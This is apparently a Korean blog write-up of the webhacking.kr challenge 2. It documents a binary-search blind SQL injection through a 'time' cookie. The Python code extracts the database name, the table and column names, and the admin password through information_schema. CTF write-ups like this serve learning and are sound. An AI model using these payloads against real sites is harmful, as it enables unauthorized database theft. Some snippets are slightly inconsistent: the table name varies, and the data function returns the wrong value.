[webhacking.kr] 2번 문제 풀이[Blind SQL Injection]

6 분 소요

💡 Webhacking.kr challenge(old) 2번 문제에 대한 풀이입니다.

문제

문제 화면 & 문제 분석

2번 문제는 일단 무엇을 해야 하는지 부터 찾아야 하는 문제였습니다. 메인 페이지를 들어가면, IP가 로그되고 있다는 내용밖에 없기 때문에 개발자 모드와 쿠키 값을 먼저 확인해 봅니다.

image

일단 쿠키 값에는 ‘time’이라는 쿠키가 있었습니다.

image

그 다음 페이지 소스코드를 보면, 다음과 같이 친절히 admin.php로 들어가 보라고 가르쳐 줍니다.

image

admin.php에는 비밀번호를 입력하는 칸이 있습니다.

image

image

비밀번호를 입력하는 칸에 admin, guest, ' or 1=1--값을 입력해보면 비밀번호가 틀렸다고 나오는 걸 보니 비밀번호를 알아내서 입력하면 풀리는 문제로 추측됩니다.

image

일단 여기까지는 방향을 못잡았는데 문제에서 힌트인 너의 IP가 기록되고 있다를 이용해 보기 위해서 Burp_suite로 패킷을 잡아봅니다.

image

잡아봐도 특별한건 없는데, 쿠키 값에 ‘time’이 있다는게 의심해 볼 만한 부분입니다. 원래는 서버에서 시간을 계산해서 처리하지 클라이언트로 시간값을 쿠키로 주는 경우는 없기 때문에 저 부분을 바꿔봅니다. 다음 그림처럼 클라이언트가 주는 시간값에 따라서 주석의 시간이 바뀌는 것을 볼 수 있습니다.

image

여기까지가 제가 알아낸 부분이고,,, 그 뒤로는 뭐 어떤걸 해야할 지 모르겠어서,,, 무엇보다 문제 페이지에서 IP가 기록되고 있다는 부분의 힌트를 이용하지 못하는 거 같아서 그 부분을 위주로 삽질을 좀 해보다가 그래도 못찾았습니다 ㅜㅜ

그래서 다른 포스팅을 참고해 봤더니 time 부분을 이용해서 sql injection을 하더라구요??? 여러개를 읽어 봤는데 다들 다짜고짜 injection을 하긴 하던데 솔직히 아직까지도 왜 서버에서 주석에 들어가는 부분이 DB에서 쿼리를 통한 결과가 나오는지 이해가 안가긴 합니다…

제가 생각한 코드 흐름은 1처럼 사용자의 쿠키 값을 받아서 그대로 주석에 넣어주는 거였는데, 지금 문제의 경우에는 사용자한테 받은 시간값을 굳이 DB에 접속을 한다음 뭔 짓을 한다는 건데 조금 억지인 느낌인,,, sudo 코드로 작성을 해보려고 해도 잘 안되네요

  // 내가 생각한 서버쪽 php 작동 로직
  <? php
   $time = $_COOKIES['time']
   $time을 날짜 형식으로 변환하는 로직
  echo("<!------ {$time} ---->");
  ?>
 // 문제에서 실제로 작동하는 로직은 사용자의 time값이 DB를 거치게 되어있음.
  <? php
  $time = $_COOKIES['time']
  $DB = dbconnect();

  // DB에서 insert 후 Select 
  // 무슨 내용을 insert 하는지는 모르겠음
  // sql("select time from chall2 where ~"); 이런식으로 ?

뭐 아무튼 time 부분이 DB의 쿼리로 들어가고, 참인경우와 거짓인 경우 다음처럼 응답값에 차이가 나온다는 것을 확인했습니다.

image image

이제 참 거짓에 따른 응답 값을 알 수 있으므로 Blind Sql injection 공격을 수행하겠습니다.

문제 풀이

지금 처럼 아무 것도 없는 상태에서 Blind Sql injection을 수행하려면 다음의 단계를 거쳐야 합니다

  1. DB 명을 알아내기
      database()
    
  2. table 명을 알아내기
      select table_name from information_schema.tables where table_schema = [DB]
    
  3. column 명을 알아내기
      select column_name from information_schema.columns where table_name = [table ]
    
  4. 해당 컬럼에서 데이터 뽑기
      select [column] from [table ] 
    

저는 모든 문제를 파이썬 코드를 제작하여 돌렸습니다.

1. DB명 구하기

우선 DB명을 구하기 위해서 database()함수의 결과값을 찾는 페이로드는 다음과 같습니다

  payload = 'ascii(substr(database(),{},1)) < {}'.format(i,search)

database()이름의 한글자씩 반복해서 ascii 코드로 숫자 변환을 한 후, 비교하려는 숫자와 크기 비교를 했습니다. 이때 저는 Binary Search 알고리즘을 활용하여 효율적으로 쿼리를 제작했습니다.

  def get_database_name():
    database_length = get_database_length()
    database = ''
    for i in tqdm(range(1,database_length+1),desc="get database_name"):
        start,end = 1,127
        while True:
            search = int((start + end )/2)
            payload = 'ascii(substr(database(),{},1)) < {}'.format(i,search)
            cookies['time'] = payload
            response = requests.get(url,cookies=cookies)
            if(TRUE_FLAG in response.text):
                end = search
            else:
                start = search
            if(start == end):
                database += chr(start)
                break
            if(start == end -1 ):
                payload = 'ascii(substr(database(),{},1)) = {}'.format(i,start)
                cookies['time'] = payload
                response = requests.get(url,cookies=cookies)
                if(TRUE_FLAG in response.text):
                    database +=chr(start)
                    break
                else:
                    database +=chr(end)
                    break
    print("find the database name : ",database)
    return database

이렇게 해서 다음과 같이 데이터 베이스 이름 chall2 를 구했습니다.

image

2. table명 구하기

table 명은 information_schema 데이터베이스를 이용해서 구할 수 있습니다. information_schema.tables 테이블에는 mysql 데이터베이스에 존재하는 모든 테이블에 대한 정보가 들어있으며, 저는 chall2에 존재하는 모든 테이블을 찾는 쿼리를 다음과 같이 제작했습니다.

우선 chall2에 몇개의 테이블이 있는지를 먼저 구합니다. 다음과 같은 쿼리문을 작성하면, chall2 데이터베이스에 테이블이 몇개 있는지 알 수 있습니다.

  select count(*) from information_schema.tables where talbe_schema='chall2';

이를 이용하여 파이썬 코드로 다음과 같이 chall2 데이터베이스에는 2개의 table이 존재함을 찾았습니다.

  def get_number_of_tables():
    for i in range(10):
        payload = "(select count(*) from information_schema.tables where table_schema='chall2') = {}".format(i)
        cookies['time'] = payload
        response = requests.get(url,cookies=cookies)
        if(TRUE_FLAG in response.text):
            print("number_of_tables : ",i)
            return i

그 다음은 테이블 이름을 찾았습니다. 이때, 테이블 명이 하나가 아니기 때문에 순차적으로 이름을 찾기 위해서 limit 0,1을 붙여줍니다.

  select table_name from information_schema.tables where table_schema = 'chall2' limit 0,1

위의 sql을 적용한 파이썬 코드는 다음과 같습니다. payload 부분이 injection을 시도한 부분이고, 동일하게 Binary Search 알고리즘을 적용하였습니다.

  def get_table_name(table_index):
    table_name = ''
    length = get_table_length(table_index)
    for i in tqdm(range(1,length+1),desc="get table_name"):
        start,end = 1,127
        while True:
            search = int((start + end)/2)
            payload = "(select ascii(substr(table_name,{},1)) from information_schema.tables where table_schema='chall2' limit 0,1) < {}".format(i,search)
            cookies['time'] = payload
            response = requests.get(url,cookies = cookies)
            result = response.text[23:24]
            if(result == '1'):
                end = search
            else:
                start = search

            if(start == end):
                table_name += chr(start)
                break
            if(start == end-1):
                payload = "(select ascii(substr(table_name,{},1)) from information_schema.tables where table_schema='chall2' limit 0,1) = {}".format(i,start)
                cookies['time'] = payload 
                response = requests.get(url,cookies=cookies)
                result = response.text[23:24]
                if(result == '1'):
                    table_name +=chr(start)
                    break
                else:
                    table_name +=chr(end)
                    break
    return table_name

파이썬 코드 실행 결과, 응답값은 다음과 같이 출력해 줬고 테이블명은 admin_area_pw 테이블과, adm테이블 2개가 있었습니다.

image

3. column 명 구하기

column 명도 table 명과 구하는 로직은 100퍼센트 동일합니다. inforamtion_schema.columns 테이블의 column_name 값을 통해서 구할 수 있고 column 명도 table 명을 구하는 로직과 동일하게 해당 테이블에 몇개의 컬럼이 있는지 확인한 후에 각각의 컬럼 이름을 모두 구해줘야 합니다.

  select count(*) from information_schema.columns where table_name="admin_area_pw"
  select column_name from information_schema.columns where table_name="admin_area_pw" limit 0,1

컬럼 명을 구하기 위해 필요한 sql 로직은 위와 같으며 이를 반복문을 이용하여 파이썬 코드로 작성하면 다음과 같습니다.

  def get_number_of_columns(table_name):
    for i in range(10):
        payload = "(select count(column_name) from information_schema.columns where table_name='{}') = {}".format(table_name,i)
        cookies['time'] = payload
        response = requests.get(url,cookies=cookies)
        if(TRUE_FLAG in response.text):
            print("number of columns :",i)
            return i
  def get_column_name(table_name,column_index):
    column_length = get_column_length(table_name,column_index)
    column_name = ''
    for i in tqdm(range(1,column_length+1),desc="get column_name"):
        start,end = 1,127
        while True:
            search = int((start + end)/2)
            payload = "(select ascii(substr(column_name,{},1)) from information_schema.columns where table_name='{}' limit {},1) < {}".format(i,table_name,column_index,search)
            cookies['time'] = payload
            response = requests.get(url,cookies=cookies)
            if(TRUE_FLAG in response.text):
                end = search
            else:
                start = search

            if(end == start):
                column_name +=chr(start)
                break
            if(start == end-1):
                payload = "(select ascii(substr(column_name,{},1)) from information_schema.columns where table_name='{}' limit {},1) = {}".format(i,table_name,column_index,start)
                cookies['time'] = payload
                response = requests.get(url,cookies=cookies)
                if(TRUE_FLAG in response.text):
                    column_name +=chr(start)
                    break
                else:
                    column_name +=chr(end)
                    break
    print("table : {}, column_index : {} -> column_name : {}".format(table_name,column_index,column_name))
    return column_name

테이블 명을 구하는 로직과 동일하기 때문에 코드에 대한 설명은 추가적으로 하지 않겠습니다.

코드 실행결과는 admin_area_pw 테이블에는 pw 컬럼이 하나 있었고, adm테이블에는 컬럼이 없었습니다.

그래서 본 문제에서는 admin_area_pw 테이블의 pw 컬럼에 있는 값을 구해오면 됩니다.

4. data 구하기

table 명, column 명을 알았으니 data를 구하는 로직은 매우 친숙한 sql 문으로 알 수 있습니다. 이 과정을 선행하기 전에 계속 설명했듯이 데이터가 몇개 들어있는지 먼저 구해야 합니다.

  select count(*) from adm_area_pw

위의 쿼리문 결과를 blind_sql_injection 해본 결과 데이터가 하나 들어 있었습니다.

이제 다음 쿼리문을 이용하여 최종 데이터 값을 구하면 됩니다.

  select pw from adm_area_pw limit 0,1

위의 sql 문들을 blind sql injection을 이용하여 파이썬 코드로 작성하면 다음과 같습니다.

  def get_data(table_name,column_name,data_index):
    data_length = get_data_length(table_name,column_name,data_index)
    data = ''
    for i in tqdm(range(1,data_length+1),desc="get data"):
        start,end = 1,127
        while True:
            search = int((start + end)/2)
            payload = "(select ascii(substr({},{},1)) from {} limit {},1) < {} ".format(column_name, i,table_name,data_index,search)
            cookies['time'] = payload
            response = requests.get(url,cookies=cookies)
            if(TRUE_FLAG in response.text):
                end = search
            else:
                start = search

            if(end == start):
                data +=chr(start)
                break
            if(start == end-1):
                payload = "(select ascii(substr({},{},1)) from {} limit {},1) = {} ".format(column_name, i,table_name,data_index,start)
                cookies['time'] = payload
                response = requests.get(url,cookies=cookies)
                if(TRUE_FLAG in response.text):
                    data +=chr(start)
                    break
                else:
                    data +=chr(end)
                    break
    print("table : {}, column_name : {} -> data : {}".format(table_name,column_name,data))
    return column_name

그리고 코드 실행결과 pw값은 다음과 같습니다.

image

본 문제에서 사용한 코드는 제 깃허브에 올려 놓았으니 참고해 보시면 될 것 같습니다. 설명할 내용이 워낙 많아서 중간부터는 어느정도 기본이 되는 내용은 설명을 생략해서 좀 불친절한 느낌이 있긴한데, 이해 안가시는 내용을 알려주시면 적극적으로 도와드리겠습니다 :D .

댓글남기기